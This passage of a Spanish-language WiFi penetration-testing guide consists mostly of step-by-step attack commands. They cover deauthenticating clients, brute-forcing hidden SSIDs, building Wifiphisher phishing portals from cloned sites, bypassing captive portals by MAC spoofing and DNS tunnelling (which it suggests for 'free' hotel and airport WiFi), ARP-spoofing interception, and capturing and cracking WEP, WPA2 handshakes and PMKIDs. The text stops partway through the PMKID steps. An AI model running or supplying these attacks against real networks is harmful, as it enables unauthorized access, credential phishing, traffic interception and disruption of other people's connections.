Guía de Pruebas de Penetración WiFi

Índice

1. Comandos básicos

2. Redes abiertas

   2.1. Portales cautivos

   2.2. Ataque Man in the Middle

3. Descifrado WEP

   3.1. Sin clientes

4. Descifrado WPA2-PSK

   4.1. Descifrando el handshake de 4 vías

   4.2. Ataque PMKID

   4.3. Ataque sin AP

5. WPA2-Enterprise

   5.1. Puntos de Acceso Falsos

   5.2. Fuerza bruta

   5.3. Métodos EAP soportados

6. Otros ataques

   6.1. Ataque Krack y Ataque Frag

   6.2. OSINT

   6.3. Bloqueo WiFi

   6.4. Otros frameworks

7. Post-explotación

   7.1. Atacando el router

   7.2. Tipos de escáneres

   7.3. Spoofing

---

1. Comandos básicos

Establecer variable de entorno

VARIABLE=value

Verificar modo de interfaz

iwconfig $IFACE

Verificar estado de la interfaz

ifconfig $IFACE

Establecer modo monitor

airmon-ng check kill
ifconfig $IFACE down
iwconfig $IFACE mode monitor
ifconfig $IFACE up

Listar redes

1. Establecer modo monitor

2. Ejecutar Airodump-ng-ng

airodump-ng $IFACE -c $CHANNEL -e $ESSID

Desautenticación

1. Solo un cliente

 aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE

2. Un Punto de Acceso (= todos los clientes en el AP)

 aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC $IFACE

Obtener SSID oculto con clientes

1. Listar redes

Lista las redes usando Airodump-ng y obtén la dirección MAC del AP ($AP_MAC) y la de un cliente ($CLIENT_MAC). No detengas la captura.

2. Desautenticar

En otra terminal, desautentica un cliente o todos ellos. Cuando Airodump-ng capture un handshake de esta red, el nombre o ESSID aparecerá en la primera terminal:

aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE

Obtener SSID oculto sin clientes

1. Listar redes

Lista las redes usando Airodump-ng y obtén la dirección MAC del AP ($AP_MAC) y la de un cliente ($CLIENT_MAC). No detengas la captura.

2.a. Ejecutar un ataque de diccionario

mdk3 $IFACE p -t $AP_MAC -f $DICTIONARY_PATH

2.b. O ejecutar un ataque de fuerza bruta

mdk3 $IFACE p -t $AP_MAC -с $AP_CHANNEL -b $CHARACTER_SET

Para el conjunto de caracteres es posible usar l (letras minúsculas), u (letras mayúsculas), n (números), c (minúsculas+mayúsculas), m (minúsculas+mayúsculas+números) o a (todos los imprimibles).

---

2. Redes abiertas

2.1. Portales cautivos

2.1.1. Portales cautivos falsos

1. Clona un sitio web usando HTTrack

2. Instala Wifiphiser. Añade el resultado de HTTrack en una nueva carpeta en wifiphisher/data/phishing-pages/new_page/html y un archivo de configuración en wifiphisher/data/phishing-pages/new_page/config.ini.

3. Recompila el proyecto usando python setup.py install o el binario en bin.

4. Este comando funciona correctamente en la última versión de Kali después de instalar hostapd:

cd bin && ./wifiphisher -aI $IFACE -e $ESSID --force-hostapd -p $PLUGIN -nE

2.1.2. Bypass 1: Suplantación de MAC

El primer método para evitar un portal cautivo es cambiar tu dirección MAC a la de un usuario ya autenticado.

1. Escanea la red y obtén la lista de direcciones IP y MAC. Puedes usar:

• nmap

• Un script personalizado como este (Bash) o este (Python)

2. Cambia tus direcciones IP y MAC. Puedes usar:

• macchanger

• Un script personalizado como este(Bash)

También puedes usar scripts para automatizar el proceso como:

• Poliva script

• Hackcaptiveportals

2.1.3. Bypass 2: Túneles DNS

Un segundo método es crear un túnel DNS. Para ello, es necesario tener un servidor DNS propio accesible. Puedes usar este método para evitar el portal cautivo y obtener WiFi "gratis" en hoteles, aeropuertos...

1. Verifica que los nombres de dominio se resuelven:

nslookup example.com

2. Crea 2 registros DNS (en Digital ocean, Afraid.org...):

• Un "registro A": dns.$DOMAIN apuntando a $SERVER_IP (Ejemplo: dns.domain.com 139.59.172.117)

• Un "registro NS": hack.$DOMAIN apuntando a dns.$DOMAIN (Ejemplo: hack.domain.com dns.domain.com)

3. Ejecución en el servidor

iodined -f -c -P $PASS -n $SERVER_IP 10.0.0.1 hack.$DOMAIN

4. Verifica si funciona correctamente aquí

5. Ejecución en el cliente

iodine -f -P $PASS $DNS_SERVER_IP hack.$DOMAIN

6. Crear el túnel

ssh -D 8080 [email protected]

2.2. Ataque Man in the Middle

Una vez que estás en la red, puedes probar si es vulnerable a ataques Man in the Middle.

1. Ataque de ARP Spoofing usando Ettercap

2. Sniffe el tráfico usando Wireshark o TCPdump

3. Analiza el tráfico usando PCredz (Linux) o Network Miner (Windows)

---

3. Descifrado WEP

1. Iniciar captura

airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE

2. Acelera la captura de IV usando Fake authentication + Arp Request Replay Attack + Desautenticar usuario. Detén Airodump en ~100.000 IVs diferentes

aireplay-ng -1 0 -e $AP_NAME -a $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -3 -b $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE

3. Descifra la contraseña usando Aircrack-ng

aircrack-ng $PCAP_FILE

---

4. Descifrado WPA2-PSK

4.1. Descifrando el handshake de 4 vías

1. Iniciar captura

airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE

2. Desautentica un usuario. Detén la captura de airodump cuando veas un mensaje 'WPA handshake: $MAC'

aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE

3. Opción 1: Descifrar el handshake usando Aircrack-ng

aircrack-ng -w $WORDLIST capture.cap

Puedes obtener wordlists desde aquí.

4. Opción 2: Descifrar el handshake usando Pyrit

pyrit -r $PCAP_FILE analyze
pyrit -r $PCAP_FILE -o $CLEAN_PCAP_FILE strip
pyrit -i $WORDLIST import_passwords
pyrit eval
pyrit batch
pyrit -r $CLEAN_PCAP_FILE attack_db

4.2. Ataque PMKID

Puedes usar este script o seguir estos pasos:

1. Instala Hcxdumptool y Hcxtool (puedes usar este script).

2. Detén Network Manager

airmon-ng check kill

3a. Si quieres atacar una dirección MAC específica

• Crea un archivo de texto ($FILTER_FILE) y añade la dirección MAC sin ":". Puedes usar sed y redirigir la salida a un archivo:

echo $MAC | sed 's/://g' > $FILTER_FILE

• Capturar PMKID

hcxdumptool -i $IFACE -o $PCAPNG_FILE --enable_status=1 --filterlist=$FILTER_FILE --filtermode=2

4. Crear $HASH_FILE